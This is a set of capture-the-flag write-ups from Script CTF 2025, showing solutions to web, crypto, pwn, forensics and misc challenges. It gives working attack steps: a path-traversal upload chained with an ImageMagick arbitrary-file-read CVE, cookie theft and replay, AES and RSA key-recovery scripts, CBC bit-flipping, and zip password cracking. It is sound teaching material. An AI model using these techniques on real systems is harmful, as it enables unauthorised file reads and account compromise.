Script CTF 2025 - Writeups
Table of Contents
Web
Renderer (100)
Introducing Renderer! A free-to-use app to render your images!
The challenge consists of a flask application. Three paths were defined:
Upload:
@app.route("/", methods=["GET", "POST"])
def upload():
if request.method == "POST":
if "file" not in request.files:
return redirect(request.url)
file = request.files["file"]
if file.filename == "":
return redirect(request.url)
if file and allowed(file.filename):
filename = file.filename
hash = sha256(os.urandom(32)).hexdigest()
filepath = f'./static/uploads/{hash}.{filename.split(".")[1]}'
file.save(filepath)
return redirect(f'/render/{hash}.{filename.split(".")[1]}')
return render_template("upload.html")
Uploaded file extension is check using allowed
. There isn’t much useful in here.
Render:
@app.route("/render/<path:filename>")
def render(filename):
return render_template("display.html", filename=filename)
This path is used to render the uploaded file. We can pass the filename as a parameter. In the display.html
, it will create an iframe with src
as '/static/uploads/' + filename
.
<iframe src="{{'/static/uploads/' + filename }}" alt="Uploaded Image"></iframe>
Since we control the filename we can read all the files inside /static/uploads/
.
Developer:
@app.route("/developer")
def developer():
cookie = request.cookies.get("developer_secret_cookie")
correct = open("./static/uploads/secrets/secret_cookie.txt").read()
if correct == "":
c = open("./static/uploads/secrets/secret_cookie.txt", "w")
c.write(sha256(os.urandom(16)).hexdigest())
c.close()
correct = open("./static/uploads/secrets/secret_cookie.txt").read()
if cookie == correct:
c = open("./static/uploads/secrets/secret_cookie.txt", "w")
c.write(sha256(os.urandom(16)).hexdigest())
c.close()
return (
f"Welcome! There is currently 1 unread message: {open('flag.txt').read()}"
)
else:
return "You are not a developer!"
There’s a secret value stored inside static/uploads/secrets/secret_cookie.txt
. To read the flag we have to set the value inside the secret_cookie.txt
as our cookie.
To exploit first send a request to /render/secrets/secret_cookie.txt
to read the cookie value
now using this cookie, send another request to /developer
curl -ik -H "Cookie: developer_secret_cookie=2500e50ea58e899f33ce3116acbb8d829e7ec5ac12803ede4b541892c8a525e4" http://127.0.0.1:1337/developer
HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.10.12
Content-Type: text/html; charset=utf-8
Content-Length: 66
Connection: close
Welcome! There is currently 1 unread message: scriptCTF{fakeflag}
Wizard Gallery (491)
The council’s top priority is to protect the flag, no matter the cost. Oh hey look, it’s a photo gallery. What could go wrong?
This is also another flask application. The challenge files had ImageMagick
binaries
ImageMagick, invoked from the command line as magick, is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images
It uses ImageMagick
version 7. After a bit of searching I found that this version is vulnerable to CVE-2022-44268 - Arbitrary File Read. If you are interested, you can read more about this bug and its root cause analysis here.
If we can somehow control the file that is passed on to the convert
program then, we can exploit this vulnerability and read the flag.
There’s only one endpoint that uses the convert
binary:
@app.route("/logo-sm.png")
def logo_small():
# A smaller images looks better on mobile so I just resize it and serve that
logo_sm_path = os.path.join(app.config["UPLOAD_FOLDER"], "logo-sm.png")
if not os.path.exists(logo_sm_path):
os.system(
"magick/bin/convert logo.png -resize 10% "
+ os.path.join(app.config["UPLOAD_FOLDER"], "logo-sm.png")
)
return send_from_directory(app.config["UPLOAD_FOLDER"], "logo-sm.png")
It resizes logo.png
and generates logo-sm.png
. This is executed only if the logo-sm.png
file doesn’t already exist in the server. Now we need to check for two things:
- Find a way to replace the
logo.png
file with a malicious image - Delete the
logo-sm.png
if it already exists in the uploads directory
This is the code responsible for file upload (I have snipped out some code):
@app.route("/upload", methods=["POST"])
def upload_file():
...
file = request.files["file"]
if file.filename == "":
return (
jsonify(
...
),
400,
)
# Prevent uploading dangerous files
if "." not in file.filename:
wipe_upload_directory()
return (
jsonify(
...
),
403,
)
if is_blocked_extension(file.filename):
wipe_upload_directory()
return (
jsonify(
...
),
403,
)
if file and allowed_file(file.filename):
original_filename = file.filename
file_path = os.path.join(app.config["UPLOAD_FOLDER"], original_filename)
file.save(file_path)
file_size = get_file_size_mb(file_path)
return jsonify(
{
"success": True,
...
}
)
else:
return (
jsonify(
...
),
400,
)
The above code checks:
- If the filename is empty
- If
.
is not present in the filename (that is filename without extension) - File extension is part of the
BLOCKED_EXTENSIONS
list - If file is allowed using
allowed_file()
function which again does some checks on the filename and file extension
ALLOWED_EXTENSIONS = {"png", "jpg", "jpeg", "gif", "bmp", "webp"}
BLOCKED_EXTENSIONS = { "exe", "jar", "py", "pyc", "php", "js", "sh", "bat", "cmd", "com", "scr", "vbs", "pl", "rb", "go", "rs", "c", "cpp", "h" }
If all the checks are passed the original_filename
is concatenated with the UPLOAD_FOLDER
, and the file is saved in that location. However, filenames containing ../
are allowed, which means we can save a file outside the uploads directory. (Note that the logo.png
is located outside the uploads directory.)
And another important thing to note here is the wipe_upload_directory()
function which will delete all the files inside the uploads directory. This is called if the filename doesn’t contain a .
character or file extension is part of the BLOCKED_EXTENSIONS
list. We can use this “functionality” to delete the existing logo-sm.png
file.
Full attack plan:
- Send a
POST
request to/uploads
with a filename containing one of the blocked extensions, which will delete the existing logo.
curl -XPOST 'http://play.scriptsorcerers.xyz:10152/upload' -ik -F file=@test.php
HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/3.1.3 Python/3.10.18
Content-Type: application/json
Content-Length: 211
Connection: close
{
"message": "\ud83d\udea8 ATTACK DETECTED! Malicious executable detected on the union network. All gallery files have been wiped for security. The Sorcerer's Council has been notified.",
"success": false
}
- Create a new
logo.png
using this POC script for the ImageMagick exploit.
cargo run "flag.txt"
- Send another
POST
request to/uploads
using the above generated image (rename it tologo.png
)
curl -XPOST 'http://play.scriptsorcerers.xyz:10152/upload' -ik -F "file=@logo.png;filename=../logo.png"
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.10.18
Content-Type: application/json
Content-Length: 154
Connection: close
{
"message": "\ud83c\udf89 Spell cast successfully! \"../logo.png\" has been added to the gallery (0.0 MB)",
"redirect": "/gallery",
"success": true
}
- Now download
logo-sm.png
from the server and hex decode its content to read the flag
curl -s 'http://play.scriptsorcerers.xyz:10152/logo-sm.png' -o - | xxd -r -p
9scriptCTF{t00_much_m46ic_66d090e352fa}
Crypto
Secure-Server (100)
John Doe uses this secure server where plaintext is never shared. Our Forensics Analyst was able to capture this traffic and the source code for the server. Can you recover John Doe’s secrets?
This challenge’s attachment had a pcap file and a python script.
server.py:
import os
from pwn import xor
print("With the Secure Server, sharing secrets is safer than ever!")
enc = bytes.fromhex(input("Enter the secret, XORed by your key (in hex): ").strip())
key = os.urandom(32)
enc2 = xor(enc,key).hex()
print(f"Double encrypted secret (in hex): {enc2}")
dec = bytes.fromhex(input("XOR the above with your key again (in hex): ").strip())
secret = xor(dec,key)
print("Secret received!")
It tries to implement Diffie-Hellman Key Exchange. But instead of using a secure one way operation like modular exponentiation, it simply uses xor. Since xor is easy to reverse we can determine the actual secret.
Ka = key of user a
Kb = key of user b
secret = flag # probably
secret_B = secret ^ Kb
dec = secret_B ^ kA
# Let's try to solve it
pt -> plaintext
secret = Ka ^ pt
secret_B = secret ^ kB
= Ka ^ pt ^ kB
dec = secret_B ^ kA
= Ka ^ pt ^ kB ^ kA
= pt ^ kB
From the network packets we can retrieve the values for secret
, secret_B
, and Dec
# To find pt we have to xor these 3 vaues
pt = secret ^ secret_B ^ Dec
= kA ^ pt ^ kA ^ pt ^ kB ^ pt ^ kB
= pt ^ pt ^ pt
= pt
from pwn import xor
secret = bytes.fromhex( "151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03")
secret_B = bytes.fromhex( "e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70")
dec = bytes.fromhex("87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e")
print(xor(secret, secret_B, dec).decode())
Secure-Server 2 (432)
This time, the server is even more secure, but did it actually receive the secret? Simple brute-force won’t work!
This is similar to secure server 1, but now instead of XOR it double encrypts the secret with AES. This is vulnerable to meet-in-the-middle attack.
johndoes.py:
from Crypto.Cipher import AES
k1 = b"AA" # Obviously not the actual key
k2 = b"AA" # Obviously not the actual key
message = b"scriptCTF{testtesttesttesttest!_" # Obviously not the actual flag
keys = [k1, k2]
final_keys = []
for key in keys:
assert len(key) == 2 # 2 byte key into binary
final_keys.append(bin(key[0])[2:].zfill(8) + bin(key[1])[2:].zfill(8))
cipher = AES.new(final_keys[0].encode(), mode=AES.MODE_ECB)
cipher2 = AES.new(final_keys[1].encode(), mode=AES.MODE_ECB)
enc2 = cipher2.encrypt(cipher.encrypt(message)).hex()
print(enc2)
to_dec = bytes.fromhex(input("Dec: ").strip())
secret = cipher.decrypt(cipher2.decrypt(to_dec))
print(secret.hex())
This will encrypt the message twice, first using k1
and then using k2
.
server.py:
import os
from Crypto.Cipher import AES
print(
"With the Secure Server 2, sharing secrets is safer than ever! We now support double encryption with AES!"
)
enc = bytes.fromhex(
input("Enter the secret, encrypted twice with your keys (in hex): ").strip()
)
# Our proprietary key generation method, used by the server and John Doe himself!
k3 = b"BB" # Obviously not the actual key
k4 = b"B}" # Obviously not the actual key
# flag = secret_message + k1 + k2 + k3 + k4 (where each key is 2 bytes)
# In this case: scriptCTF{testtesttesttesttest!_AAAABBB}
keys = [k3, k4]
final_keys = []
for key in keys:
assert len(key) == 2 # 2 byte key into binary
final_keys.append(bin(key[0])[2:].zfill(8) + bin(key[1])[2:].zfill(8))
cipher = AES.new(final_keys[0].encode(), mode=AES.MODE_ECB)
cipher2 = AES.new(final_keys[1].encode(), mode=AES.MODE_ECB)
enc2 = cipher2.encrypt(cipher.encrypt(enc)).hex()
print(f"Quadriple encrypted secret (in hex): {enc2}")
dec = bytes.fromhex(input("Decrypt the above with your keys again (in hex): ").strip())
secret = cipher.decrypt(cipher2.decrypt(dec))
print("Secret received!")
This will encrypt the double encrypted message twice again using k3
and k4
. Flag consists of message and all four keys. We have output of the server.py
from the network capture:
With the Secure Server 2, sharing secrets is safer than ever! We now support double encryption with AES!
Enter the secret, encrypted twice with your keys (in hex): 19574ac010cc9866e733adc616065e6c019d85dd0b46e5c2190c31209fc57727
Quadriple encrypted secret (in hex): 0239bcea627d0ff4285a9e114b660ec0e97f65042a8ad209c35a091319541837
Decrypt the above with your keys again (in hex): 4b3d1613610143db984be05ef6f37b31790ad420d28e562ad105c7992882ff34
Secret received!
The three values can be written like this:
e_k1 -> encryption using k1
e_k2 -> encryption using k2
e_k3 -> encryption using k3
e_k4 -> encryption using k4
d_k1 -> decryption using k1
d_k2 -> decryption using k2
enc = e_k2(e_k1(msg)) = 19574ac010cc9866e733adc616065e6c019d85dd0b46e5c2190c31209fc57727
q_enc = e_k4(e_k3(enc)) = 0239bcea627d0ff4285a9e114b660ec0e97f65042a8ad209c35a091319541837
dec = d_k1(d_k2(q_enc)) = 4b3d1613610143db984be05ef6f37b31790ad420d28e562ad105c7992882ff34
From this we can arrive at:
e_k1(dec) == d_k2(q_enc)
To find k1
and k2
we will first create a lookup tables of values produced from e_k1(dec)
with all possible k1
values. Then we will run d_k2(q_enc)
with all possible k2
values and check if the produced value is present in the table. If it does then we can confirm the k1
and k2
values are correct.
Similarly we can find k3
and k4
by using:
d_k4(q_enc) == e_k3(enc)
Exploit:
#!/usr/bin/env python3
from Crypto.Cipher import AES
from collections import defaultdict
import sys
ENC_HEX = "19574ac010cc9866e733adc616065e6c019d85dd0b46e5c2190c31209fc57727"
QUAD_HEX = "0239bcea627d0ff4285a9e114b660ec0e97f65042a8ad209c35a091319541837"
DEC_HEX = "4b3d1613610143db984be05ef6f37b31790ad420d28e562ad105c7992882ff34"
enc = bytes.fromhex(ENC_HEX)
q_enc = bytes.fromhex(QUAD_HEX)
dec = bytes.fromhex(DEC_HEX)
def make_aes_key_from_2bytes(key: bytes) -> bytes:
return (bin(key[0])[2:].zfill(8) + bin(key[1])[2:].zfill(8)).encode()
def mitm_find_k1_k2(quad_bytes, dec_bytes):
table = dict()
for k1 in range(0, 1 << 16):
k1b = bytes([(k1 >> 8) & 0xFF, k1 & 0xFF])
key = make_aes_key_from_2bytes(k1b)
cipher = AES.new(key, AES.MODE_ECB)
d1 = cipher.encrypt(dec_bytes)
table[d1] = k1b
solutions = []
for k2 in range(0, 1 << 16):
k2b = bytes([(k2 >> 8) & 0xFF, k2 & 0xFF])
key2 = make_aes_key_from_2bytes(k2b)
cipher2 = AES.new(key2, AES.MODE_ECB)
e2 = cipher2.decrypt(quad_bytes)
if e2 in table:
solutions.append((table[e2], k2b))
return solutions
def mitm_find_k3_k4(enc_bytes, quad_bytes, k4_last_byte=None):
table = dict()
for k3 in range(0, 1 << 16):
k3b = bytes([(k3 >> 8) & 0xFF, k3 & 0xFF])
key3 = make_aes_key_from_2bytes(k3b)
cipher = AES.new(key3, AES.MODE_ECB)
x = cipher.encrypt(enc_bytes)
table[x] = k3b
solutions = []
for k4 in range(0, 1 << 16):
k4b = bytes([(k4 >> 8) & 0xFF, k4 & 0xFF])
if k4_last_byte is not None:
if k4b[1] != k4_last_byte:
continue
key4 = make_aes_key_from_2bytes(k4b)
cipher2 = AES.new(key4, AES.MODE_ECB)
y = cipher2.decrypt(quad_bytes)
if y in table:
solutions.append((table[y], k4b))
return solutions
def pretty_bytes(b):
try:
return b.decode()
except:
return b.hex()
def main():
print("[*] Finding k1,k2")
sol12 = mitm_find_k1_k2(q_enc, dec)
if not sol12:
print("[-] No (k1,k2) found.")
return
for idx, (k1, k2) in enumerate(sol12):
print(f"k1={k1} k2={k2}")
print("[*] Finding k3,k4")
sol34 = mitm_find_k3_k4(enc, q_enc, k4_last_byte=ord("}"))
for idx, (k3, k4) in enumerate(sol34):
print(f"k3={k3} k4={k4}")
# combine keys and produce flag
for (k1, k2) in sol12:
key1 = make_aes_key_from_2bytes(k1)
key2 = make_aes_key_from_2bytes(k2)
aes1 = AES.new(key1, AES.MODE_ECB)
aes2 = AES.new(key2, AES.MODE_ECB)
try:
plaintext = aes1.decrypt(aes2.decrypt(enc))
except Exception as e:
plaintext = None
if plaintext:
print("message (hex):", plaintext.hex())
print("message (ascii):", pretty_bytes(plaintext))
else:
print("Couldn't decrypt enc with these keys.")
for (k3, k4) in sol34:
flag = (plaintext or b"") + k1 + k2 + k3 + k4
print(f"assembled flag: {flag}")
# also print ascii if printable
try:
print("ascii:", flag.decode())
except:
print("ascii: (non-printable bytes present)")
if __name__ == "__main__":
main()
RSA-1 (100)
Yú Tóngyī send a message to 3 peoples with unique modulus. But he left it vulnerable. Figure out :)
We have a small e value (3) and several ciphertexts, this is vulnerable to Hastad’s Broadcast attack
exploit.py :
from math import gcd
n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587
c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965
n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909
c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284
n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399
c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630
e = 3
def invmod(a, m):
t, new_t = 0, 1
r, new_r = m, a % m
while new_r:
q = r // new_r
t, new_t = new_t, t - q * new_t
r, new_r = new_r, r - q * new_r
if r != 1:
raise ValueError("non-invertible")
return t % m
# CRT to get X = m^3
ns = [n1, n2, n3]
cs = [c1, c2, c3]
N = n1 * n2 * n3
Ms = [N // n for n in ns]
inv = [invmod(Ms[i], ns[i]) for i in range(3)]
X = sum(cs[i] * Ms[i] * inv[i] for i in range(3)) % N
# Integer cube root (no floats)
def iroot3(n):
lo, hi = 0, 1
while hi**3 <= n:
hi <<= 1
while lo < hi:
mid = (lo + hi) // 2
if mid**3 < n:
lo = mid + 1
else:
hi = mid
return lo if lo**3 == n else lo - 1
m = iroot3(X)
# Decode to bytes and strip PKCS#7 padding if present
h = hex(m)[2:]
h = ("0" + h) if len(h) % 2 else h
pt = bytes.fromhex(h)
pad = pt[-1]
if pad > 0 and all(b == pad for b in pt[-pad:]):
pt = pt[:-pad]
print(pt.decode())
Mod (285)
Just a simple modulo challenge
In this challenge there’s a random secret value stored in the server. It prompts us for a number and prints out num % secret
#!/usr/local/bin/python3
import os
secret = int(os.urandom(32).hex(), 16)
print(secret)
print("Welcome to Mod!")
num = int(input("Provide a number: "))
print(num % secret)
guess = int(input("Guess: "))
if guess == secret:
print(open("flag.txt").read())
else:
print("Incorrect!")
Based on the output we have to guess the secret value. If we enter -1
it will give us the value secret - 1
. We just have to add 1 to it and send it back to the server.
EaaS (484)
Email as a Service! Have fun…
This challenge can be solved for the fact that AES CBC encryption is vulnerable to malleability. That is if we can generate a ciphertext for a plaintext of out choice, then we can make changes to the ciphertext which can be decrypted into predictable plaintext. It will be like modifying the plaintext without actually having access to the secret key.
server.py :
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import random
email = ""
flag = open("flag.txt").read()
has_flag = False
sent = False
key = os.urandom(32)
iv = os.urandom(16)
encrypt = AES.new(key, AES.MODE_CBC, iv)
decrypt = AES.new(key, AES.MODE_CBC, iv)
def send_email(recipient):
global has_flag
if recipient.count(b",") > 0:
recipients = recipient.split(b",")
else:
recipients = recipient
for i in recipients:
print(i)
if i == email.encode():
has_flag = True
for i in range(10):
email += random.choice("abcdefghijklmnopqrstuvwxyz")
email += "@notscript.sorcerer"
print(f"Welcome to Email as a Service!\nYour Email is: {email}\n")
password = bytes.fromhex(input("Enter secure password (in hex): "))
assert not len(password) % 16
assert b"@script.sorcerer" not in password
assert email.encode() not in password
encrypted_pass = encrypt.encrypt(password)
print("Please use this key for future login: " + encrypted_pass.hex())
while True:
choice = int(input("Enter your choice: "))
print(f"[1] Check for new messages\n[2] Get flag")
if choice == 1:
if has_flag:
print(f"New email!\nFrom: scriptsorcerers@script.sorcerer\nBody: {flag}")
else:
print("No new emails!")
elif choice == 2:
if sent:
exit(0)
sent = True
user_email_encrypted = bytes.fromhex(
input("Enter encrypted email (in hex): ").strip()
)
if len(user_email_encrypted) % 16 != 0:
print("Email length needs to be a multiple of 16!")
exit(0)
if user_email[-16:] != b"@script.sorcerer":
print("You are not part of ScriptSorcerers!")
exit(0)
send_email(user_email)
print("Email sent!")
The server gives us a random email address every time we connect to it. Then it prompts us for a password in hex format. Server will encrypts our password using AES in CBC mode and outputs the ciphertext.
After that we have 2 choices, read our emails [1] or send an email [2]. On entering choice 1 we can read the flag if the has_flag
variable is set to true. To set the has_flag
, we have to send emails to an email address ending with @script.sorcerer
and to our own email printed at the start comma separated and encrypted using AES. If the server was able to successfully decrypt the email, and it is in the above mentioned format, then the has_flag
will be set, and we can read the flag by entering choice 1.
We already have access to the encrypt function (when entering the password) that will give us the ciphertext for a chosen plaintext, but we can’t just simply enter our desired plaintext because of these checks:
assert b"@script.sorcerer" not in password
assert email.encode() not in password
So we have to enter a slightly modified plaintext, then XOR a few selected bits and we will be able to modify the resulting plaintext value. It goes like this:
Our email in this case is: mbddtlvtww@notscript.sorcerer
. Our goal is to produce a ciphertext for this plaintext: mbddtlvtww@notscript.sorcerer,b@script.sorcerer
. Due to the assertions in the script, we have to modify at least 2 characters in this string for the program to accept it. I chose it to be the first and last character.
The modified string will be: abddtlvtww@notscript.sorcerer,b@script.sorceres
. AES is a block cipher and it encrypts and decrypts block by block. So if we were to modify a specific bit in a ciphertext block, then the previous block will produce gibberish when decrypting. For example if we want to modify the last bit of the above string, which is s
, then we have to change the last bit in the previous block, which in this case will be b
. But in that case the block containing b
, since we are modifying it, will decrypt into gibberish. So we have to adjust the padding, in order for it to decrypt to our desired plaintext value. So after proper padding the final string will be like this:
aaaaaaaaaaaaaaaaa,abddtlvtww@notscript.sorcerer,aaaaaaaaaaaaaaab@script.sorceres
We have to modify the 3rd bit of the first block and last bit of the second last block. We will send this to the server and modify bits at these position in the ciphertext.
We will now modify the received ciphertext:
enc = bytearray(bytes.fromhex("...ciphertext..."))
enc[-17] ^= ord(xor(b's', b'r'))
enc[2] ^= ord(xor(b'a', b'm'))
enc.hex()
We will send the modified ciphertext back to the server and chose option 1 to read the flag:
Pwn
Index (345)
I literally hand you the flag, just exploit it already!
The program first prints out a menu:
It only shows 4 options, but there’s one more hidden option which we can see in the disassembled code:
It checks if the entered value is 0x537
or 1337
in base 10. If it is true then the code will read the contents of flag.txt
and loads it into memory:
The read_data
function will ask us for an index and it will read the value in memory for that given index and prints it out. I tried some brute forcing and we can print out the flag when we enter the index 8:
Reversing
Plastic Shield (350)
OPSec is useless unless you do it correctly.
There’s a hard coded AES encrypted ciphertext in the program. When you run it, it will ask us for a password and only select one character from the given password. It then derive an IV and key after running blake2b cipher on the selected password. If the password is right, then the program will decrypt the flag for us. Since it only take one character as the password, we can simply bruteforce it to decrypt the flag:
Misc
Div (100)
I love division
The challenge generates a random secret value and divides it with a value we enter. If the answer is 0, then it will print out the flag.
import os
import decimal
decimal.getcontext().prec = 50
secret = int(os.urandom(16).hex(),16)
num = input('Enter a number: ')
if 'e' in num.lower():
print("Nice try...")
exit(0)
if len(num) >= 10:
print('Number too long...')
exit(0)
fl_num = decimal.Decimal(num)
div = secret / fl_num
if div == 0:
print(open('flag.txt').read().strip())
else:
print('Try again...')
The script uses decimal.Decimal
to convert the input into a number. Due to this, we can enter inf
, which is used for representing infinity in python. When it tries to divide the secret value with inf
it will produce 0 and we can read the flag
emoji (100)
Emojis everywhere! Is it a joke? Or something is hiding behind it.
The attachment contains some emojis.
Unicode character offset spans between 0x1F000
and 0x1FFFF
, https://en.wikibooks.org/wiki/Unicode/Character_reference/1F000-1FFFF. We can try to subtract an offset of 0x1F000
from every character to find the character that represents each emoji.
s = "🁳🁣🁲🁩🁰🁴🁃🁔🁆🁻🀳🁭🀰🁪🀱🁟🀳🁮🁣🀰🁤🀱🁮🁧🁟🀱🁳🁟🁷🀳🀱🁲🁤🁟🀴🁮🁤🁟🁦🁵🁮🀡🀱🁥🀴🀶🁤🁽"
decoded = ''.join(chr(ord(ch) - 0x1F000) for ch in s)
print(decoded)
Subtract
The image size is 500x500. You might want to remove some stuff… Note: Some may call it guessy!
The attachment had a coordinates.txt file containing some coordinates in the format (x, y)
:
The challenge description says the image size is 500x500, so my initial intuition was to generate an image with all the points marked.
This doesn’t work because all the points in the 500x500 area is marked atleast once:
There are 250573 coordinates in the file, but there are only 250000 pixels in a 500x500 image. So the extra 573 pixels must be the one that represents the flag. We just need to generate a parity image from these coordinates:
from pathlib import Path
import re
from collections import Counter
from PIL import Image
coords_path = Path("coordinates.txt")
out_dir = Path("./")
text = coords_path.read_text(encoding="utf-8")
# parse coordinates
found = re.findall(r"\(\s*(\d+)\s*,\s*(\d+)\s*\)", text)
coords = [(int(x), int(y)) for x, y in found]
total = len(coords)
W, H = 500, 500
# frequency and top freq points
freq = Counter(coords)
# Create parity image (odd visits black, even visits white) - may reveal strokes
par_img = Image.new("RGB", (W, H), (255, 255, 255))
par_pix = par_img.load()
for (x, y), c in freq.items():
if 0 <= x < W and 0 <= y < H:
par_pix[x, y] = (0, 0, 0) if (c % 2 == 1) else (255, 255, 255)
par_path = out_dir / "parity.png"
par_img.save(par_path)
print("Saved parity image to", par_path)
And there we have our flag:
Enchant(233)
I was playing minecraft, and found this strange enchantment on the enchantment table. Can you figure out what it is? Wrap the flag in scriptCTF{}
The challenge had an encrypted text which was encrypted with letters found on the Enchantment table. The encrypted text :-
ᒲ╎リᒷᓵ∷ᔑ⎓ℸ ̣ ╎ᓭ⎓⚍リ
After some googling found out these are Standard Galatic Alphabet Decoded the text with the help of the chart and found the flag.
Div 2(324)
Some might call this a programming challenge…
The challenge provided a chall.py
. Let’s examine that.
import secrets
import decimal
decimal.getcontext().prec = 50
secret = secrets.randbelow(1 << 127) + (1 << 127) # Choose a 128 bit number
for _ in range(1000):
print("[1] Provide a number\n[2] Guess the secret number")
choice = int(input("Choice: "))
if choice == 1:
num = input('Enter a number: ')
fl_num = decimal.Decimal(num)
assert int(fl_num).bit_length() == secret.bit_length()
div = secret / fl_num
print(int(div))
if choice == 2:
guess = int(input("Enter secret number: "))
if guess == secret:
print(open('flag.txt').read().strip())
else:
print("Incorrect!")
exit(0)
By looking at the code, vulnerability lies in the fact that it performs high-precision division and then reveals the truncated integer result, which leaks enough information to uncover the secret number bit by bit.
Math behind the exploit:-
Let the secret number be S
. Let the input be N
. The script calculates D = S/N
with high precision and then gives you back I = int(D)
, which is equivalent to ⌊S/N⌋
(the floor of the division). This tells you that:
I ≤ NS < I+1
By multiplying by N
, constrain the possible range of S
:
I⋅N ≤ S < (I+1)⋅N
Since we know the initial range of S
is [2127, 2128−1]
, we can use this repeatedly to shrink the possible range for S
until it’s just one number
now the python script to exploit
from pwn import *
# --- Connection Setup ---
# Choose how to connect to the challenge
# To run the script locally:
# p = process(['python3', 'challenge.py']) # Make sure to name the challenge file 'challenge.py'
# To connect to a remote server (uncomment the line below and fill in the details):
p = remote('play.scriptsorcerers.xyz', 10354) # host and port
# --- The Attack Logic ---
# Initial range for the 128-bit secret number
lower_bound = 1 << 127
upper_bound = (1 << 128) - 1
log.info(f"Initial Range size: {(upper_bound - lower_bound).bit_length()} bits")
# Create a progress logger to see the convergence in real-time
prog = log.progress("Finding the secret")
while lower_bound < upper_bound:
# Update the progress bar
range_bits = (upper_bound - lower_bound).bit_length()
prog.status(f"Range size: {range_bits} bits")
# Choose the midpoint of the current range as our query number.
# This satisfies the 128-bit length assert in the challenge.
num_to_send = (lower_bound + upper_bound) // 2
# Option 1: Provide a number
p.sendlineafter(b"Choice: ", b"1")
p.sendlineafter(b"Enter a number: ", str(num_to_send).encode())
# Receive the quotient 'q'
line = p.recvline()
q = int(line.strip())
# Calculate the new range based on the response
# We know that: q * num <= secret < (q + 1) * num
new_lower = q * num_to_send
new_upper = (q + 1) * num_to_send - 1
# Update our bounds by intersecting the old range with the new one
lower_bound = max(lower_bound, new_lower)
upper_bound = min(upper_bound, new_upper)
# The loop terminates when lower_bound == upper_bound
secret = lower_bound
prog.success(f"Secret found: {secret}")
# Option 2: Guess the secret number
log.info("Submitting the secret to get the flag...")
p.sendlineafter(b"Choice: ", b"2")
p.sendlineafter(b"Enter secret number: ", str(secret).encode())
# Print the flag
flag = p.recvall().decode().strip()
log.success(f"Flag: {flag}")
# Close the connection
p.close()
Bam! got the flag
OSINT
The Insider(107)
Someone from our support team has leaked some confidential information. Can you find out who?
As per the hint, looked into discord, while checking on Admin role profiles, found the flag on the NoobMaster’s discord profile.
Forensics
Just Some Avocado(302)
just an innocent little avocado!
Initially got an innocent looking avocado picture from the challenge.
Used strings on the image, got nothing useful.
Then used binwalk
and got a juicy ZIP. Sadly it was encrypted. So tried to crack the password of the zip with rockyou
and fzipcrack
used the following command.
crackzip -u -D -p /usr/share/wordlists/rockyou.txt _avocado.jpg.extracted/188F7.zip
got the password
PASSWORD FOUND!!!!: pw == impassive3428
Used unzip to extract the contents and got 2 files justsomezip.zip
and staticnoise.wav
file.
While listing inside the justsome.zip
file saw a flag.txt file…yaayy…sadly it was also password protected.
Without any delay put the staticnoise.wav
into the sonic visualizer but got nothing at first, then added the spectrogram…woow there were some distorted text…noicee….
After applying the bins to log we got the text raised and more clear.
d41v3ron
Got the password, unzipped the zip and got the flag
scriptCTF{1_l0ve_d41_v3r0n}